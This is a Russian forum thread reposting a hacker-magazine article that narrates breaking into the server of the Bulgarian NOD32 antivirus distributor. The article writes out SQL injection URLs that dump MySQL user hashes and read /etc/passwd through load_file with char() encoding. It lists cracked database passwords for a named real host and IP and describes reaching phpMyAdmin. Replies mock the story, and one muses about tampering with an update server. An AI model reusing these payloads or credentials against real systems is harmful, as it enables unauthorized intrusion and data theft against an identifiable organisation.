Перейти к содержанию
Иван

Хакеры выбирают NOD32

Recommended Posts

Иван

Атака на NOD32

Источник: Хакер (Москва)

Автор: Леонид «R0id» Стройков

Вторжение на сервер популярного антивируса

В последнее время меня начали раздражать конференции по информационной безопасности, на которых половину времени зачитывают доклады представители различных антивирусных компаний. Подумай сам, кто будет использовать коммерческий продукт без серьезной необходимости? Не спорю, необходимость есть, вот только порой она сильно преувеличена. Тем не менее ведущие антивирусные лаборатории наращивают штаты своих специалистов, пытаясь поглотить рынок и частенько забывая о собственной безопасности. О чем это я? Да о свеженьком взломе сервера одного из представительств популярного антивируса NOD32. Думаю, ты уже догадался, что речь в статье пойдет именно о нем.

***

Start Level

Одним из вечеров, бродя по Сети и занимаясь рутинной работой, я в очередной раз заметил на десктопе всплывающее окно NOD32 с предложением об апдейте баз. Нажав на кнопку Yes, я обнаружил, что аккаунт, который ранее был любезно предоставлен одним из моих знакомых, оказался залоченным. Выругавшись, я полез в закладки браузера, чтобы отыскать ссылку на позабытый ресурс с халявными обновлениями для антивиря, но и тут меня ждал облом — линка и след простыл. Недолго думая я набрал адрес Гугла, вбил нехитрый запрос и принялся просматривать результаты поиска. Десятки форумов различной тематики, хак/варез-порталы — все это мигом хлынуло в мою Оперу, однако заниматься этим совершенно не входило в мои планы, поэтому, отыскав нужный линк, я свернул этот увлекательный процесс и перешел по найденному URL.

Увы, но вместо свежих антивирусных баз меня поджидал редирект, который вел в направлении www.eset.bg. Быть может, это событие так и осталось бы незамеченным, если бы не одно но. Указанный ресурс являлся официальным сайтом болгарского представительства NOD32. Злая шутка или ирония судьбы? Этот вопрос возник в моей голове и тут же пропал, зато вместо него появилось непреодолимое желание одним глазком взглянуть на сервер антивирусной компании. Изнутри. Первым делом я убедился, что оба домена — www.eset.bg и www.nod32.bg — располагаются на одном сервере. Об этом свидетельствовали показания утилы nslookup, определившей IP-адрес болгарского дедика: 89.25.53.73. Что ж, можно было приступать к работе, тем более что я успел заметить PHP’шный движок ресурса :). Погуляв по сайту, я наткнулся на админку, располагающуюся в стандартном каталоге — /admin. Как и следовало ожидать, все входящие данные строго фильтровались. Этот факт меня нисколько не удивил, а лишь подтвердил, что на быстрый взлом рассчитывать бесполезно (интересно, а кто на него надеялся? :)). Тем временем первая зацепка оказалась у меня в руках:

http://www.eset.bg/main.php?id=38&virusID=-1

Диагноз был категоричен — слепой SQL-инъект с возможностью лечения. Как выяснилось, на сервере крутилась MySQL версии 4.0.24, а прав юзера в базе хватало на доступ к mysql.user:

http://www.eset.bg/main.php?id=38&virusID=-1 +union+all+select+1,2,concat(user,char(58),p assword,char(58),host),4,5,6,7,8+from+mysql. user+/*

Как ты знаешь, в мускуле ниже пятой версии все пассы пользователей хранятся в MySQL-хэшах, которые в 50% случаев без труда поддаются бруту. На этот раз мой хэш-улов состоял из более чем десятка аккаунтов, самые аппетитные из которых имели следующий вид (данные частично искажены по понятным причинам):

root:44b3e5527af37974:localhost root:75047d7f64a1ve95:web phpnod:12f6c0a1912e07d4:localhost hordemgr:75047d7f64a1ve95:% phpbb:73b3fb216f8de074:localhost phpbb2:057d4245782c1df7:localhost

Несколько удивляло наличие двух рутов, хэши которых вместе с остальными моментально отправились на брут. Результат не заставил себя долго ждать, и через несколько минут один из паролей порадовал мой взор — Vm0db. Вот только ни к админке, ни к SSH он не подходил.

Тогда я обратил внимание на форум: что-то подсказывало мне, что пасс пригодится именно там. Просмотрев профили юзеров, я выделил среди прочих админа с загадочным ником root :). Несомненно, админ форума был ярым линуксоидом; окончательно я убедился в этом, когда успешно залогинился под его аккаунтом: root:Vm0db. В радостном порыве я метнулся к админке, чтобы попробовать добытую пару логин/пароль и там, но на этот раз мне не повезло, и я вынужден был вернуться на форум.

Но у меня оставался еще один шанс — залить шелл через админку форума, благо движок борды оказался печально изветным phpbb :). Для этого мне требовалось найти полный путь к каталогу форума, после чего сделать бэкап базы, внести в него пару "корректировок" и замутить восстановление БД через всю ту же админку phpbb. Идея была проста и заманчива, вот только версия форума оказалась пропатченной дальше некуда, в результате чего ни один из известных багов так и не помог вызвать ошибку с раскрытием путей установочных каталогов. Я призадумался. Ситуация все больше походила на тупиковую, и нужно было срочно пересматривать свои действия, но время, проведенное за взломом, давало о себе знать, и силы постепенно покидали меня. За окном уже давно рассвело, и я принял решение отправиться спать, предварительно закатав дамп базы форума (на всякий пожарный :)).

***

Level Up

Проснувшись далеко за полдень и наскоро поев, я приконнектился к Сети, где меня ждал Сюрприз. Да-да, именно вот так — с большой буквы: Сюрприз :). Нет, админ не пропатчил баг и не лишил меня возможности админить форум, отнюдь. А вот некоторые из стыренных ночью мускул-хэшей успешно сбрутились, пока я спал :). Таким образом, я получил несколько аккаунтов к БД на сервере NOD32:

hordemgr:WeB_PaSs phpbb2:fm0dbD phpbb:bDn0B phpnod:fm0dpHt

Но еще большую радость я испытал, когда мой взгляд переместился на рут-хэши. Дело в том, что один из них полностью совпадал с хэшем пароля пользователя hordemgr:

root:75047d7f64a1ve95 hordemgr:75047d7f64a1ve95

Это означало лишь одно — у меня в руках был заветный акк:

root:WeB_PaSs Но и здесь не все прошло гладко: пасс не подходил ни на SSH, ни на FTP, ни на основную админку сайта. Тогда я зааплоадил MySQL-клиент от RST на один из своих поломанных ресурсов и попробовал подключиться к базе удаленно:

http://www.xxx.com/images/sql.php?s=y&...=hordemgr&p asswd=WeB_PaSs&server=89.25.53.73&port=3306

"Почему hordemgr, а не root?" — спросишь ты? Просто у юзера hordemgr в поле host стоял заветный символ "%" (согласно данным из mysql.user). Однако все мои старания были тщетны — вместо доступа к БД я лицезрел еrrоr, злой рок неотступно следовал за мной. От безысходности своего положения я стал теребить уже заюзанный SQL-инъект и вдруг сообразил, что совершенно забыл проверить наличие прав file_priv. Я наскоро сформировал кверю:

https://www.nod32.bg/main.php?id=38&virusID=-1+union+a ll+select+1,2,3,4,load_file(‘/etc/passwd’),6,7,8+/*

И в качестве ответа она вернула пустую страницу. Тогда я смело заюзал char(), несколько видоизменив запрос к базе:

https://nod32.bg/main.php?id=38&virusID=-1+union+all+s elect+1,2,3,4,load_file(char(47,101,116,99,47,112,97,1 15,115,119,100)),6,7,8+/*

К моему удивлению, содержимое passwd висело в окне моего браузера:

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh

........ Что ж, следующим логичным действием было бы чтение сорцов движка ресурса и всевозможных конфигов. Я решил начать с Апача и тут же обломался — найти его конфиг оказалось не так-то легко. Тогда было решено редиректить свою активность на определение пути до корня веб-каталога. Покопавшись в /etc/passwd, я выудил две любопытные записи:

www-data:x:33:33:www-data:/var/www:/bin/sh web:x:1002:0:,,,:/var/www:/bin/bash

Вероятно, первая часть пути имела вид /var/www, но, что было внутри, оставалось загадкой. Пофантазировав, я выделил наиболее реальные варианты:

public_html htdocs html pub www www_pub www_html

Забегая вперед, скажу, что ни один из них не дал положительного результата. Поковыряв баг еще с час, я приуныл. Без знания пути до веб-каталога дальнейшее осуществление взлома накрывалось, да и инфу в каталогах юзеров нащупать не удавалось. Обидно было останавливаться, не дойдя до финишной черты. Запустив сканирование веб-директорий, я надеялся найти phpmyadmin или каталоги с неправильно выставленными чмодами. Но, увы, не повезло мне и здесь. Тогда я машинально полез в файл /etc/hosts и обнаружил там любопытную запись:

localhost.localdomain localhost 89.25.53.73 web.nod32.bg web 89.25.53.74 partners.nod32.bg partners 89.25.53.71 gateway.nod32.bg gateway 89.25.53.72 stats.nod32.bg stats

Обрати внимание на поддомен web.nod32.bg. Перейдя по адресу http://web. nod32.bg, я попал на тестовую страницу Апача :). Скрестив пальцы, я вбил в адресной строке браузера линк:

http://web.nod32.bg/phpmyadmin/

И увидел установленный и готовый к работе phpMyAdmin! Победа была за мной! Уже через пару минут я вовсю орудовал в базе (используя сбрученные пассы :)). Что было внутри, не скажу — военная тайна. Важно одно — помимо доступа на чтение файлов на сервере и админки форума, я имел полноценный доступ к БД антивирусной конторы :).

***

End Of Ga :D me

Вдоволь наигравшись с базой и от души поглумившись над болгарским представительством NOD32, я почистил хистори Оперы и закрыл браузер. Запустив Outlook и прикинув текст письма, я черканул несколько строк админу ресурса с указанием на имеющиеся баги. Задумавшись я уставился в монитор, и лишь только вновь всплывшее окошко любимого антивиря с предложением об апдейте баз вернуло меня к реальности :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
A.

Как же запарили дети-дебилы, которые "взламывают сайты антивирусных компаний". Это ж круто - кричать потом "я взломал сайт НодаКаспераСимантека". Хотя на деле ВСЕ такие взломы - никакого отношения к сайтам самих антивирусных компаний не имеют и принадлежат каким-то дальним партнерам-дистрибуторам.

Видел тут недавно один такой же вопль -"уааа, я взломал kaspersky.com.au и упер номера кредиток! Каспер - лох". И чего ? Сайт принадлежит какому-то австралийскому продавцу софта. Так же как и еще один "взлом Каспера" - kaspersky.com.mx.

Можно подумать что сотни и тысячи реселлеров, дистрибуторов, просто магазинов - раз уж они продают антивирусные продукты, находятся под сетевой защитой этих самых компаний и обслуживаются it-специалистами антивирусных вендоров.

Фи.

Что же касается потока сознания ака "описания взлома", то внимательно прочтение показывает, что единственное чего удалось добиться "хацкеру" за ночь и три страницы текста- это героически найти http://web.nod32.bg/phpmyadmin/. Дальнейшее описано вскользь и занимает всего два предложения, выражающееся в одной фразе "Что было внутри, не скажу — военная тайна". Из чего я делаю только один вывод - и тут его ждал сплошной облом и разочарование, но написать же что-то надо ...

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Lex
слепой SQL-инъект

все описанные дальше инъекции к слепой не имеют никакого отношения... странно это все...

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Dr.Golova

Было бы на порядок забавнее еслибы ксакеп получил доступ на запись к хотябы локальному для страны серверу апдейтов. Какая была бы бойня и паника при грамотном подходе, мммм...

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

  • Сообщения

    • Ego Dekker
      Домашние антивирусы для Windows были обновлены до версии 17.1.9.
    • Ego Dekker
    • ArktiTig
      Арктика - северная полярная область Земли, включающая окраины материков Евразии и Северной Америки, почти весь Северный Ледовитый океан с островами и прилегающие к нему части Атлантического и Тихого океанов. Название её происходит от греческого слова arctos (медведь) и связано со звёздами: Полярная звезда, находящаяся почти точно в зените над Северным полюсом, принадлежит к созвездию Малая Медведица.
    • ArktiTig
      Арктика - северная полярная область Земли, включающая окраины материков Евразии и Северной Америки, почти весь Северный Ледовитый океан с островами и прилегающие к нему части Атлантического и Тихого океанов. Название её происходит от греческого слова arctos (медведь) и связано со звёздами: Полярная звезда, находящаяся почти точно в зените над Северным полюсом, принадлежит к созвездию Малая Медведица.
    • PR55.RP55
      .xml  файлы taskschd.msc Могут быть подписаны  цифровой подписью. Думаю будет нелишним, если uVS будет это фиксировать. т.е. проверять не только подпись целевого файла, но и подпись самого файла\задачи. и писать в ИНфО .  
×